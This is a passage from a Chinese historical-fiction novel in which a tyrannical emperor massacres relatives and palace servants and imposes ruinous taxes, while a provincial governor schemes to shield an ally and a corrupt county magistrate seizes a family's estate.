那兵头接了银子,又打量了白晨几眼说:“唉,既然知道咱弟兄们辛苦,那我们也不能欺负出家人。你们两个快走吧,这可不是能歇脚的地方。”白晨师徒如蒙特赦,双手合十念了声佛,就顺着道路匆忙退去。哪成想,他们还没走出二十步,跟在队尾的一个军兵突然喊道:“站住。”吓得白晨和小全子差点瘫倒。白晨镇定了一下,转身问道:“不知军爷还有什么吩咐?”那军兵说道:“我们都尉大人就在不远处。要是问起来,我们可没拿过你们的银子。”白晨又一合掌说:“阿弥陀佛。军爷放心,老衲明白。” 白晨师徒向北又行了一里多,来到了邙山隘口,一小队禁军正在此处设卡,盘查过往行人。白晨见别无它途,便硬着头皮走向了关卡。经过一番交涉,守卡的士兵为他们打开了鹿柴。急于逃出升天的小全子快步向前,一个没留神,把一块小石头踢到了坐在道旁烤火休息的军将身上。那军将大怒,头也不回地骂道:“娘的,谁他妈丢老子,不想活了!老子昨天赶了一天路,晚上又被派到这鸟不拉屎的地方设卡,啥好处都他妈没轮上。把这俩秃驴给我绑了。”几个士兵答应一声,冲上来就把白晨和小全子按翻在地。那军将悻悻地走过来,俯下身子说:“本来没想抓人,你们偏要惹老子,那老子可就不依了。”白晨抬起脸来,央求道:“军爷,军爷,小徒鲁莽冲撞了军爷,可他不是有意冒犯您啊!还求军爷看在佛祖的面上,饶过小僧师徒吧!”那军将盯住白晨看了许久,张口说:“你是白……”他突然又改口说:“你是百花村救过我娘舅的那个和尚。”白晨听对方的口气,似是认出了自己,但又似乎没有加害的意思,便赶紧应承说:“是,是,军爷,老衲确实到过百花村。”那军将哈哈一笑说:“误会,误会,弟兄们放开他们,这还是本都尉的恩人咧。”他搀起白晨说:“恩人,随我到前面军帐一叙,也喝口热汤暖暖身子吧。”他又对军兵们吩咐道:“你们把卡子给我守好了。我不叫你们,谁也不许到我的军帐去。” 在军帐内,那都尉请白晨和小全子坐下,又给他们供应了吃食,才抱拳说:“白公公,我是殿前军里的都尉,我叫黄顺。十五年前,是先帝给了我恩典,让我这个孩童进入禁军,当时就是您在神农苑外给小人传的旨。六年前,又是先帝提拔小的当了副尉。小的全家都感激先皇和白公公您啊!后来,我被调去了洛阳,可谁成想静福公主竟然谋反。小的回到禁军时,先帝已经驾崩。这二年就更别提了,整天嗟跟着将军们打打杀杀的。”他给白晨又添了些汤水,接着说:“昨天,齐将军点了两千兵马,往荥阳来。走到中途,他才告诉都尉以上级军官,皇上要我们杀光看守祖陵的人。我为了少造些罪孽,特请令搜检外围。白公公,这几年究竟都发生了啥呀?为啥非要让我们血溅祖陵呢?”白晨和小全子放下食物,跪地磕头,先感谢了黄顺的救命之恩。白晨平静了一下心情,将静福谋逆、皇帝驾崩等等事情的前因后果简单地讲述了一遍。黄顺紧握着拳头,咬牙切齿地说:“这些皇亲国戚,臣僚边将也太不是东西了!戕害圣主,争夺皇位。我,我,我要给先帝报仇呀!”白晨急忙制止黄顺说:“黄将军,低声些,可不敢让人听到呀。那样只会白白赔上你我的性命。”白晨又说:“黄将军,如今你已知道事情的来龙去脉,若你真的感念先帝,就请你快些放我们离开,以免旁生枝节。”黄顺把火往下压了压,从腰间拔出一面小旗递给白晨说:“白公公,附近巡逻的都是我的兵丁,都认得这面令旗。你们拿上它,管保没人敢动你们。”白晨接过令旗,又一次跪倒,恭恭敬敬地给黄顺磕了三个头,说道:“是非自有曲直,公道自在人心。黄将军保重,我师徒告辞了。”说完,白晨拉起小全子,头也不回地出了军帐。 白晨师徒逃走后,一场大雪降下。那雪遮住了祖陵,遮住了河山,遮住了原野,遮住了城镇,也遮住了人世间刚刚发生的一切罪恶。 第四十三回1 罪恶的皇权 “扬王遇害、全家被屠”的消息很快便传到了宋启愚耳中。他悄悄在内宅佛堂摆设了香案,并亲自祭拜这位隐忍了一生却难逃横死的亲王。宋启愚跪泣良久,起身对两位夫人说:“圣上屠尽扬王一家,其中必有隐情。我想,他对其他兄弟子侄和某些朝臣也快该动手了。”韩丽华扶住丈夫的胳膊,焦急地说:“老爷,再造与扬王交厚,会不会受到波及呢?”李真儿也说:“咱妹子和小外甥还在京城。老爷得想办法救她们回来呀!”宋启愚微微点头说:“我已经安排人去开封接她们了。只是,如何保全再造兄弟,我还要再好好动动脑筋。你们先把这里收拾干净吧。”宋启愚抬脚走到佛堂门边,望着阴沉沉的天,轻叹道:“皇上究竟想干什么?这天下为何老是安定不下来呢!” 宋启愚独坐二堂,思索了将近半个时辰。他拿起笔来刷刷点点地写了几张信笺,其后,才抬头唤道:“刘戈,把伍名、欧阳亮、王寅虎叫来。”刘戈应声而去。不大的功夫,这三人便快步走进了房间。不待他们行礼,站在地图前的宋启愚先开口说:“你们来看。自从柔然人夺取了陕西的延绥地区,就从西北两个方向威胁着咱山西的安全,虽然中间有一条黄河阻隔,但仍然难保万全。近两年,柔然人每每以延绥做基地,利用枯水季节骚扰黄河沿岸,他们还曾大举攻击延绥以南的甘泉和鄜州等地,甚至一度打到了长安。为此,本节度数次上书,请求收复二州,可朝廷却始终无力北顾。十月间,再造大人巡察西北,多次接到冯翊军和扶风军的告急文书。我当时又一次上了折本。皇上似乎也有发兵之意,特别是副宰相刘睿更是主动请缨出征延绥。”欧阳亮一拱手说:“大人所虑于国于民皆为正途,不知我等能为大人做些什么?”宋启愚先请三人落座,又命从人上了茶水,才缓缓说道:“我想让你们帮我促成这次北征。你们也知道,前几天,扬王殿下不知犯了何罪,全家被杀。接着,身在开封的七位王爷皆被下狱,就连只有十岁的胶西王也难逃噩运。而与扬王有些交情的御史陈靖辉、侍郎高定国也被抄了家。还有那位执政王克明,亦以云贵战败的罪名被锁拿。童道生大人与扬王感情深厚,天下皆知,他又刚刚巡视完西北,即将回朝复命,这不能不令我担心他的安全啊。”王寅虎听后,眉头一挑说:“大人,学生已然明白您的意图。若要保全童大人,最好的办法就是山西和陕西皆言北方有战事,那么,朝廷依照惯例,会命童大人在西北监军,这样他就可以暂时不回开封。只要拖上几个月,皇上也许就会忘了这档子事,不再处置童大人了。而且这期间,我们还能再想其它办法。”宋启愚呵呵一笑说:“寅虎没有白在山西兵部供职啊,对人员调配以及条文法规还是很熟悉的。我想命你到陕西去,协助童大人把西北的军情战况摸清楚,再急报中央,促使朝廷早下决断。”王寅虎跪地给宋启愚行了个礼说:“学生这便动身,定不负宋大人所托。”宋启愚示意他起来,又说:“扬王殿下惨死,再造难免心痛,也可能会意气用事,你要替我多开导宽慰他才是。”说着,宋启愚将已经写好的几封信笺分别递给王寅虎和欧阳亮,又继续说:“这件事光咱们用劲不行,还要有朝臣推动。我想派欧阳亮进京,游说几大权臣,让他们建议皇上出兵西北。”欧阳亮站起来一躬到地,说:“大人,学生愿往。只是不知大人是否要争这个统帅的位置?”宋启愚微微一笑说:“欧阳问的好。如果我要挂帅,那么此次北征必然泡汤。故而,还是让皇帝的亲信们来当这个元帅吧。不过,做为周臣,本节度一定会倾尽全力帮着朝廷驱除外侮,收复失地。”欧阳亮又施了一躬说:“既然如此,那学生倒有一策。”宋启愚端起茶杯,呷了一口,说道:“愿闻其详。”欧阳亮说:“方今,朝堂势力主要分为三派,宰相赵松寿、副相刘睿和执政司马德文等人可被称为旧臣派;副相张永德、副相冯体仁和枢密使齐元能等人可被称为扶立新帝有功派;这两派曾经合作但又处处竞争,由于张永德此前取得了江南剿匪的胜利,现又被派往云贵平叛;而冯体仁也在修建天帝神仙宫的过程中立下了大功,所以,他们一旦崛起势必动摇赵松寿和刘睿等人的地位。因此,旧臣派现在急需在皇帝面前再立新功,只要我以此利害说动他们,我想他们是愿意出头的。另外,以帝师关知信和执政周做会为代表的还有一个清流派。他们貌似中立,不偏不倚,但在事关国家大义的问题上却绝不含糊。所以,学生有把握说服关知信大人,让他发动言官支持北伐。”宋启愚抚掌大笑说:“好极,好极,欧阳亮、王寅虎,你二人真乃我手下的俪生、陆贾呀!我只补充一点,你沿途可以编些神怪故事散出去,让那些宫观僧道和钦天监、太常寺的官员也替咱们说说话。”欧阳亮跪倒磕了个头说:“学生领命,学生今日便往东京办理此差。”伍名在一旁撇了撇嘴说:“这维护社稷、驱逐外族的义举,竟要让我等下臣费尽心思,皇帝老儿也太不是东西了!”宋启愚把脸一沉说:“不可胡说,当心惹祸上身。派了他们,我还有任务给你。”伍名吐了吐舌头说:“宣道大人不允,伍名不乱说就是。有什么任务大人只管下令,纵使赴汤蹈火,末将在所不辞。”宋启愚取出一支大令递给伍名说:“你即刻率领五百精兵到陕西去,充任再造大人亲卫。嗣后,待朝廷下了旨意,你便协助童大人监军西北。你的主要任务是保护再造大人,至于跟柔然作战和收复延绥二州,本官另有安排。”伍名上前,跪倒称诺,接受了将令。 送走三人后,宋启愚接连传见了山西户部、兵部和工部的官员,向他们详细核实了目前山西的财政、军政和物资储备情况。接着,他又接见了晋阳府的主官,命其调整了部分现行政策法规。 午后,宋启愚在演武厅召见了吴襄、毛小、申鲤、叶明奇等军警主将。在让毛小通报了山西内外的军情变化后,宋启愚说道:“因为朝廷很可能用兵西北,所以我山西军民必须做好充分的准备。今日上午,本节度已经吩咐六部和晋阳府筹措物资粮饷、修缮弓弩器械、检查道路桥梁、加造车帐船只。现在,我对军事上也要做些调整。首先,叶明奇镇守使和申鲤、郭林、冉世杰将军要从城防军和警巡队中挑选出三万健儿,加强训练,随时准备跟从朝廷解放延绥。”这四位大将出列跪拜,同声高喊道:“末将遵命。”宋启愚又说道:“我作战一向讲究知己知彼,为此,命令毛参军和姚凯将军会同曹可用总办向山陕北部广派哨探,务必将敌情侦查清楚。”毛小和姚凯叉手施礼说:“末将听令。”宋启愚接着说:“李开复将军和包旭东将军的一万兵马移往河东地区驻扎,做为叶镇守使的后援部队。”李、包二将也赶忙叉手施礼,接受了命令。宋启愚转头对吴襄说:“战争开始后,维护治安、保障秩序是咱山西的重中之重。长白,你肩上的担子很重啊。”吴襄抱拳行礼说:“宣道大人只管放心,警巡队是您一手缔造出的威武雄师,绝不会耽误您的大事。”宋启愚点点头说:“好,只要各位勠力同心,咱们必能一战获胜。另外,我还将命令席军民镇守使率领五千骑兵做为偏师出兵柔然,打敌人一个措手不及。同时,为了应对战争变化,本节度使将在十日后把行辕移驻朔州,直接指挥北方防御……” 第四十三回2 罪恶的皇权 就在宋启愚筹划收复延绥二州的时候,那位身居九重的天通帝却在考虑如何铲除各种威胁自己皇位的势力。他首先命令内府大臣司马德文流放了所有在京的近枝王公。紧跟着,他又密旨太仆寺卿马英全追杀那些落魄皇亲。结果,不过几天时间,暴死在汴京城外的龙子龙孙就多达百人。 腊月二十八,天通帝以追思皇考圣德,不宜在皇宫居住为名,移驾齐王宫。临出发前,天通帝把大太监白登叫到跟前,阴沉着脸说:“宫里那些老阉人知道的太多了。他们都在笑话朕。你去,把他们统统杀掉。等朕回来的时候,那些伺候过先皇的太监和宫女,朕一个都不想看见。”白登躬身施礼说:“陛下放心,奴才保证把他们处理干净。” 快出皇城的时候,天通帝突然一拍脑袋,低声沉吟道:“差点漏掉那个妖人!”他立即叫过敬事房太监白济,对其俯耳交代了一番。其后,天通帝才长长地舒了一口气,安心顺意地吩咐起驾。 等皇帝的銮舆走远,白济慢慢从地上爬起来,转脸对身边的几个太监命令道:“你们叫上所有的行刑太监,跟咱家到清虚阁去,先把那里包围了。”他又对几个小太监说:“你们去取些鸡血狗血来,咱家一会儿用得着。”一个长相愚钝的小太监不解地问:“师傅,要那腌臜东西做什么?”白济狠狠瞪了小太监一眼说:“小果子,你个蠢货。没有脏东西,怎么镇得住去来那妖道!” 此时,在已被烧成废墟仅铺设了一层木板地基的金龙殿院子里,白登正在根据名册校验几百名宫女和太监的身份。起初,这些人还说笑打闹不以为意。但很快,他们便觉察出了异样,纷纷向白登和他的手下哭叫申诉。白登也懒得跟这些人废话,统统用查找养居殿丢失宝物的借口进行搪塞。 申时,已包围了清虚阁单等小太监取来鸡血狗血就要冲进去大开杀戒的白济突然闻到了一股刺鼻的恶臭。他转脸一看,却发现小果子正一手捂着鼻子,一手用一个长铜勺从同伴拎着的粪桶里舀出粪尿泼在清虚阁的外墙上。白济大怒,骂道:“蠢货,你在干什么?”小果子忙扔下铜勺,又从同伴手里抄过一个食盒,快步走到白济面前,跪倒磕头说:“师傅,御膳房能取到的鸡血狗血只有半坛子,徒儿想这也不够用啊。徒儿听说屎尿也能辟邪,于是就从净房要了两桶来。您还别说,这一桶屎尿正好泼了一半院墙,徒儿这就去把清虚阁的另一半也泼上秽物。”白济听得既好气又好笑,骂道:“得、得、得,你真是蠢到家了,别再泼粪了。那半坛子血在哪里?”小果子双手捧起食盒说:“都在这儿,请师傅验看。”白济一手提了食盒,一手招呼手下说:“你们十个取一碗血泼在大门口,再把剩余的血涂在刀上,冲进去先杀那个去来道人,然后,宰光里面所有的人。办好了这趟差事,咱家升你们做带班太监。”这些低等太监一个个面露喜色,跪地称谢,接了食盒。他们一边往清虚阁正门走,一边缓缓抽出了短刀。 很快,清虚阁里接连传出了惨叫声。就在白济以为大功告成的时候,从院内突然刮起一股龙卷风。大量人形符咒借着风力直冲云霄。小太监们被吓得连连惊呼:“妖孽要跑了!妖孽要跑了!”白济正不知所措,一眼看见小果子身边的粪桶。他也顾不得有效无效,三两步扑过去,抱起粪桶就奔到清虚阁门口,一股脑地把秽物泼进了院中。白济还大声喊道:“皇上口谕,去来妖言惑众,窥伺皇家机密,必须伏法,天地万物不得帮其脱罪!”可是那旋风并不听话,继续卷着符咒在清虚阁内外闲绕了两圈,才若无其事地溜向南边,并最终消失在皇城之外。白济这下真的慌了,他踉跄着跑进清虚阁,踩着殷红的鲜血和肮脏的粪水,一具一具查看被杀者的尸首。直到手下太监呈上去来的脑袋,他才出了一口大气说:“总算可以向皇上复命了。”旋即,他恭恭敬敬地跪倒在地,对着去来的人头连连磕头,嘴里还不停地念叨着“无奈”、“升仙”之类的话。 天色渐渐暗下来了,白登清点完待宰的内官,泰然自若地说:“让他们呆在这儿。你们跟着咱家去搜查失盗物品。谁偷了,谁没偷,都要拿了赃物再说。”说完,他就带人离开了金龙殿宫院。到了门外,白登冲手下一使眼色,百十名内廷司的执法太监堵门的堵门,上墙的上墙。这些太监各摘弓箭,对着被围的内官就下了死手。一时间,哭喊声、惨叫声、求饶声、叫骂声回荡在这座废宫内外。不过一顿饭的功夫,几百手无寸铁的太监和宫女已被屠戮殆尽。白登仰头看了看天,又紧了紧身上的披风,眯缝着眼睛说:“跟上次一样,放火把这儿烧个干净。只不过,比上次多加些柴草。另外,还要小心,别走了水……” 第四十三回3 罪恶的皇权 在天通三年的第二次朝会上,皇帝石坚先颁一诏,册封其五岁的长子石满为郑王,又宣布从光州调回冯体仁主持皇子官学。接着,天通帝向朝臣们询问了近两年的财税状况,并命令大太监白登宣读了上调《青黄法》税率诏和煤、木、丝、渔禁榷诏。这下,宣德殿内炸开了锅,很多大臣出班劝谏,希望皇上能多加斟酌、保障经济秩序。但天通帝为了显示皇家威仪,仍然在诏书上用了御玺。面对重臣们的不满,天通帝岔开话题,咨询起关于出兵陕西的事情,并有意任命宰相刘睿为大元帅,收复延绥。这招果然灵验,宰相赵松寿和刘睿等人首先表态支持皇帝,并举荐禁军大将陈伟亮出任副将随军出征,再加上侍郎谭琴和御史徐立毅等人的吹捧,朝堂上很快便没有了不同的声音,仅剩下大臣们不停地山呼:“陛下圣明!吾皇万岁!万岁!万万岁!” 帝国的明旨很快就发到了山西节度使行辕。宋启愚阅后脸色铁青,愤怒地喘着粗气说:“把国库的钱借给老百姓,让他们度过难关,重回生活正途,这难道不是朝廷应该做的事情吗?可皇上却要用借贷牟取暴利,这是谁给陛下出的主意?这个人简直应该被千刀万剐!”站在近旁的席军民、曹可用和毛小急忙过来劝慰说:“大人切莫动怒。朝堂上的事情恐怕只有皇上才能做主。我们身居外藩,人微言轻,是无法改变上层决断的!”宋启愚长叹一声说:“我并非不知道这些道理。只是,执行了这样的政策,普天下的人可就要受苦了。那《青黄法》的税率上调到六分后,再被地方官员追加两分余量,百姓们根本负担不起。一两年后,我大周遍地皆是押地典房、卖儿卖女、负债逃亡的农民,和因给穷人担保导致破产的富户。到了那时,什么人为国家种粮?什么人为国家做工?什么人为国家卖命?你们说我能不着急吗?”宋启愚重重地把这份圣谕拍在桌子上,举着另一份召旨又说:“这个煤、木、丝、渔禁榷诏的危害就更大了。国家以专营的方式,收缴了采煤、伐木、缫丝、打鱼四大行业的经营权,把其中的绝大部分利益收归国有,完全抑制了民间活力。你们想想看,那些原本从事这些行业的人因彻底失去了谋生手段,除了铤而走险,哪还有活路。天下大乱,国将不国的场景就在眼前了,我身为封疆,怎能不动怒呢!我要即刻上书,拼死谏诤,请求皇上收回成命。”毛小跨前一步说:“大人,万万不可呀!您义愤填膺、想勉力抗争的情绪下官能够体会,且您为国为民、殚精竭虑的赤诚之心也足可感天动地,只是,这世道不允许咱们对抗君权啊!若您执意谏诤,不但改变不了皇上的做派,反而会招致恶意打压。而天下的愚民不会认为自己的苦难是皇帝给他们带来的,只会说是朝里佞臣太多,蛊惑了皇帝。到了那时,若有人再给大人安上一项悖逆的罪名,恐怕您就是浑身长满了嘴也无法分辩呀!”席军民也说:“宣道息怒。毛参军说的对,既然咱们无力劝阻皇上,就不必再劝。现在,咱们还是应把心思放在收复延绥的大战上,至于其它事情,可以看看再说,不可操之过急。”曹可用一把扒拉开席军民和毛小说:“你俩劝的是啥呀!宣道根本不是愚鲁之人,怎么会引火烧身。他只是在为皇上不修德政而痛心,在为天下百姓寻活路。我这个人笨,想不出其它办法,只提议咱山西保境安民。”听了这话,毛小眼前一亮,兴奋地说:“对呀!曹总办的话令我醍醐灌顶,要想把恶政的危害降到最低可不就得保境安民吗!况且,天道无常,盈满则亏,皇权又怎么可能始终凌驾于民权之上呢?”宋启愚渐渐从最初的暴怒中恢复了过来。他长叹一声说:“看来,我山西也只能如此了。”他站起身来,走到窗前,缓缓地说:“先前,我翻看史书,一直搞不明白为何我中华历朝历代始终在原地画圈;现在,我终于想通了,皇权独大且不受监督,小人投机而肆意妄为,这才是造成国家不幸的真正原因。”曹可用微微一笑说:“宣道讲的这些文词我听不明白,反正想通了就好。既然是我提出的保境安民,那就由我的工商贸易署出面协调经济吧。好在我这个总办是宣道特设的,朝廷并不承认,我也用不着听那皇帝老儿的。”宋启愚用拳头轻轻捶着额头,边想边说:“保障山西经济是项大工程,光靠曹兄是忙不过来的。不如这样,我把户部的周邦彦等人都调到工商贸易署去,协助你办理此差。你们还可以组建一家商号,专门负责日常的银钱流通以及放贷收贷。”曹可用呵呵笑着说:“还是宣道想的长远,咱们先这么定。具体事项等宣道腾出手来,把这些人召集到一处,咱再商量。”其后,几个人又就目前掌握的各种信息,讨论了出兵柔然的一些问题。 时近中午,席军民吩咐外面备饭。曹可用轻轻捅了捅毛小说:“咱还是现在汇报吧。我这人肚子里装不下事,要是不把话说出来,我连饭都吃不香。”宋启愚轻轻一笑说:“你俩有啥秘密就说吧!我不会再象刚才那样怒不可遏了。”毛小略有迟疑,从怀里掏出几张信笺递过来说:“大人,这是咱山西的商队在谢梁听到的一些传闻,未必是真,所以我和曹总办才没有马上向您汇报。”宋启愚接过信笺,熟视良久。他的手微微有些发抖。毛小见势不妙,赶忙轻唤道:“大人勿动怒,信中所言先帝遗诏之事也许都是谣传。学生这便安排人去捕拿造谣之人。”宋启愚脸色惨白,摆了摆手说:“烧了它吧,也不必再查此事。我原本知道皇家争权异常残酷,只是想不到当今皇上竟然如此歹毒。”他抬起头,象是想向众人求证又象是自问道:“我大周的国运真的就这么败落了吗?”说完,宋启愚又缓缓低下了头。随着几张信笺落地,他的眼中已满含泪水。 天通帝在齐王宫住了三个月,才在过完圣寿节后,返回了皇宫。 夜宴时,天通帝见跟前伺候的几个宫女颇有姿色,随淫心大起。他扯住一个宫女强喂了两口酒,用手在其身上摸索着问:“朕好像没见过你,多大了?何时进宫的?”那宫女红着脸回道:“奴婢十六岁,上个月才被选进宫里伺候,所以陛下不识。”天通帝又拽住另一个宫女,凑过鼻子闻了闻说:“好香,好香。今晚就让你们两个轮流侍寝。”对于宫女来说,能够陪伴皇帝不但是一种荣耀,更是晋级妃嫔的绝佳机会。所以,这两名宫女赶忙跪伏于地,口称:“奴婢谢陛下隆恩。” 次日凌晨,漆黑的夜幕被一道闪电划破,紧跟着,细密的春雨被东南风裹挟润湿了大地。不知是因为风力太强,还是由于关合不紧,天通帝寝殿的一扇窗户突然打开了,殿内的蜡烛也瞬间熄灭了数支。折腾到后半夜才刚刚睡下的天通帝被风雷惊醒。他下意识地用手挡住脸,眯起眼睛往卧榻外观瞧。只见在昏暗的烛光下,一个无头道士正在向他逼近。天通帝大惊,使劲眨了眨眼,那无头道士却又消失不见了。出了一身冷汗的天通帝坐将起来,用手揉了揉眼睛,可首先映入他眼帘的却是锦被上的几片血色。天通帝被吓得连打了两个寒颤。他急忙转脸去唤躺在身边的宫女。可令他万万想不到的是,在一名宫女的头上竟然落着一道人形符咒。那是已被处死的去来道人经常使用的符咒。恐惧到了极点的天通帝大叫一声滚落床下。他赤裸着上身,边喊着“救驾”边向殿外爬去。正在外面值守的白登听声不对,赶紧带着几个太监冲了进来。天通帝一把抱住白登的腿,颤抖着声音说:“杀,杀,杀,杀妖孽。把,把她们都杀掉。”白登先脱下外衣给皇帝披上,温言抚慰道:“陛下莫怕,奴才守着您呢。”他又对左右一努嘴说:“都是死人啊!还不遵旨去把妖孽杖毙。”几个太监应了声诺,举着庭杖就向龙床上那两位半梦半醒、不知所措的宫女扑去。 一刻钟后,身上已经淋了春雨的天通帝在白登的搀扶下踉跄着跨进了偏殿。他只觉心慌气短,头痛欲裂,随指了指暖榻说:“朕口渴的很,让他们进一碗参汤来。”白登会意,先把天通帝搀到暖榻上坐下,又拿了两个枕头垫在主子身后,这才吩咐手下去取参汤。天通帝大口喘着粗气,低头看了看,自嘲说:“朕怎么会如此狼狈?连龙靴都……”说到这儿,他的声音突然变得歇斯底里起来,“龙,龙靴,妖孽……去来妖道……去来……”白登不明所以,赶忙上前查看。却有一张人形符咒从皇帝的靴底被甩了出来。天通帝大声咆哮道:“朕贵为天子,拥有皇权,斩杀几个人有什么大不了的?普天之下莫非王土,率土之滨莫非王臣。就算是朕错杀了你,你也不该来缠着朕。”旋即,他又装出一副可怜相,冲着空中作了几个揖说:“去来道仙,朕知你死的凄惨,朕向你赔情。朕明日便往清虚阁祭你,并册封你为周道真人。还有各位冤死的鬼魂,朕也会厚奠尔等,这,你们总该满意了吧?”一个闷雷在永春宫上方炸响,那也许就是被屠害者们对天通帝的回答。 第四十四回1 公义誓言 自打春上受了惊吓,天通帝便落下了咳喘惊觉的毛病,若遇上阴雨天气,病情还会加重。至六月,多日的失眠把天通帝折磨得痛苦难耐,饶是收复延绥这样的大捷也无法引起他的兴趣。而大周的百姓又何尝不是被他的恶政摧残得苦不堪言呢?那些去冬今春借了国家贷款的农民,在夏粮成熟后必须偿还相当于全部本金的银钱,凡是还不上欠款的人就要被执行强制措施。再加上今年雨水较大,很多地区发生洪涝,因之家破人亡的百姓数以十万计。还有一些从事缫丝制绸行业的桑农和织娘,因产品收购价格被压得过低,不得不减产甚至停产。更有大量靠采煤和伐木谋生的人,因矿主和地主们入不敷出,而被辞退,失去了生计。最可怜的要数渔人。他们每天必须向官府上交十尾大鱼,然后才能捕鱼养家。要知道江河里的鱼并不好打,更何况不是天天都有收成。而官府却不管这些,但凡完不成任务的渔家就要被收船罚款。结果,全天下有超过七成的渔夫破产。 在江浙,先前的余姚知县林彬现已转任弋阳。此时,他正对着师爷喋喋不休地抱怨道:“本官怎么会这么倒霉!刚把宝贝送到杭州,那狗日的秦国勋就倒了台,害得我也被发到这穷山恶水的破县城来,还被降了半级,当了这么个代理知县。哪怕我当时把越州瓷献给张永德或者林九都大人呢,何至于落到这个地步。哎!后悔也晚了。现在,咱这大牢里已经关了几百号还不上账的人,可应征的欠款才讨了一半。想通过严格执行政令讨好巡抚大人的办法,恐怕是行不通了。而且,这位林大人还不收贿赂,我可真是没招了。杨师爷,你是我身边的老人,本官没有亏待过你。你得替我好好想想,怎么才能巴结好上官,离开这个鬼地方啊!”杨师爷弓着身子听完县太爷的训话,陪着小心说:“老爷,林巡抚是圣人程熹的学生。他爱不爱财不好说,但他一定很重视名声和德望。老爷何不在文化和佛道方面下下功夫呢?”林彬眼珠转了转说:“有道理。听说巡抚大人正在建设西湖书院和杭州书楼。那两枝唐朝仆射陈绰和兵部尚书陈卿的后人不是在本县居住吗。你到户司,把担保文书拿来,只要上面有这两大家族的签字,我就可以带人抄了他们的家,夺了他们手里的古董书画。说不定这些东西能投巡抚所好。” 几天后,林彬带着几十个衙役气势汹汹地来到陈绰后人的府第。陈家人客客气气地把知县老爷让进厅堂。林彬手里举着账簿,满脸杀气地说:“陈员外,莫怪本官无情,你家担保的这些人欠了国库八万两银钱。他们无力偿还,还有不少人逃亡他地。现在,眼看限期已过,本官别无他法,只能向你这担保人要银子了。”陈家的老爷和几位少爷赶忙躬身说:“启禀大人,我家虽为几户乡亲做了担保,但那不过是本利几十两的借贷,何来欠国库八万两银钱之说,还请大人明察。”林彬冷笑几声,拿出一叠文书说:“这样的事本官怎会含糊。这是你前几年给几个表亲和子侄办理盐引、茶叶、粮食和皇纲的担保文书,一共九份。同泰十年,你的表侄弄翻了四船皇粮,他本人也死了。当时的知县罚了他家百十两银子,便以人死债消结了案。可实际上,按照朝廷新法,国库的损失理应由你陈家承担。六年下来,单这一项你就应偿还三千七百二十二两四钱银子。还有你亲家四弟去年押着几车花石纲往杭州去,结果遇到劫匪,皇纲尽失,他本人也下落不明。这损失没有四万两是下不来的。况且,还有人传说,在贼寇的队伍里见到过他。这可是通匪灭门的大罪呀!”陈家人听了这话,赶忙跪倒辩解说:“大人,当初是前任鲁知县强要我家这些亲戚出面揽的差事。当时的担保人不止我们一家啊。而且出事后,鲁县令已经做过判词。如今,大人怎能把罪责再推到我陈家头上呢?至于通匪就更是无稽之谈,我家乃相门之后,断不会做出越礼之事。”说完,陈员外还让儿子取出自家留存的保书副本和判词副本给县令看。为了讨好林彬,他还附上了一张五百两银子的礼单,权当破财消灾。可林彬却轻声笑了笑说:“陈员外,你拿的这些东西本官一概不认。那鲁知县贪污腐化之徒,愚昧无能之辈,乱匪来时不做抵抗,被贼寇俘获后又屈膝失节,朝廷已明令问了他的罪。你所拿的这些副本谁敢保证不是行贿换来的?更何况,本官这里的文书与你手中的完全对照不上。和你联合担保的马家、全家在贼寇来时几乎被灭门,而你陈家却安然无恙。若你们没有通匪,又怎会受到如此优待?”陈家人先是极力分辨,继而悲伤哭诉,最后又苦苦哀求。可那林彬却冷着脸说:“你陈家祖上乃是国士,本官原本非常敬佩,只是,林某身为地方父母,必须维护国家法度。今天我来就是要收取你们拖欠国库的八万两银子的。若你们有,本官便将前述文书一并销毁并给你们重出一纸判词;若没有,那就休怪林某无情,抄没你们的家产了。”这陈家虽然在唐朝出过几代高官,但衰败已逾百年,哪里能够一下子拿出数万两银钱。在又经过了一番对峙后,林彬不听解释,断然喝令道:“来人,先将陈家人赶到下人居住的配院里,只留下陈员外与户司掌事交接财产。”几十个衙役答应一声,各拿棍棒开始驱赶哀泣一片的陈家人。林彬转头压低声音对师爷说道:“陈家是书香门第,应有不少孤本善本。你把抄出的书籍给我留好了,过些日子,等搜罗齐了,我就去杭州,把它们献给巡抚大人。”杨师爷满脸堆笑,连连点头说:“大人放心,属下知道该如何行事。” 第四十四回2 公义誓言 又过了几日,林彬将一些礼司、水司和县学的官员组织到龟峰山下,让他们调集人手,拓印山崖上的题字。他望着峰岩逸秀、山洞幽奇的江川景色,感慨说:“虽然本县地窄民贫,物产匮乏,但自晋代以来,却蕴育了不少人才,也留下了许多洞龛题刻。今天,我们要做的是一项伟大的工程,对宣扬弋阳文化格外有意义。故此,林某拜托各位专心任事,做好本次拓印工作。”一位不开眼的老学究拱手一揖道:“县主大人,方今江南初定,正需要休养生息,似乎不是做这些的时候,况且,现在正值雨季,今年的信江水又比往年大,大人还是该组织人力维修堤坝才……”林彬瞪起眼睛,喝止道:“住口。汪先生在贼寇来时不思报效国家,反而举家逃跑,本官都替你感到害臊。去年的匪患说明了什么?说明老百姓心思秽乱。现在,弋阳光复了一年有余,正是加强教化的时候。我想,只要本地的百姓人品持正,就算是洪涝来袭,也不会侵害咱这一方水土。”听了这话,官吏和学究们只能诺诺称是,生怕知县也给自己扣上一顶“畏敌逃跑”、“心思秽乱”的帽子。 可是,老天降灾才不管你是不是人品持正。七月的头几天,一场瓢泼大雨由西向东横扫了长江中下游,接着,大雨南移,又连续肆虐了浙、闽、赣多地。当时,弋阳城里水深七尺,受灾百姓数以万计。而那位县令林彬,除了调集三十几条木船将全家老小和巨量财物书卷运往南岩寺高处外,没有采取任何排涝措施。 大水退去后,疫病又开始流行,再加上朝廷的赈济不足,造成江南饿殍遍地,社会生产难以为继。在这种情况下,那位一年前被官军击败被迫躲进深山的邢华,带领着几百名弟兄,经过周密的策划,一举袭占了金溪县。由于金溪是江南的冶银重地,出产金银,又有一座大型银库,所以,得到补给的邢华迅速扩充了队伍。邢华的军师谭文元还建议他广散钱粮,收买人心,并喊出了“饶王来,民丰足”的口号。结果,在不到三个月的时间里,义军先后攻占了抚州、信州、饶州、邵武等地。 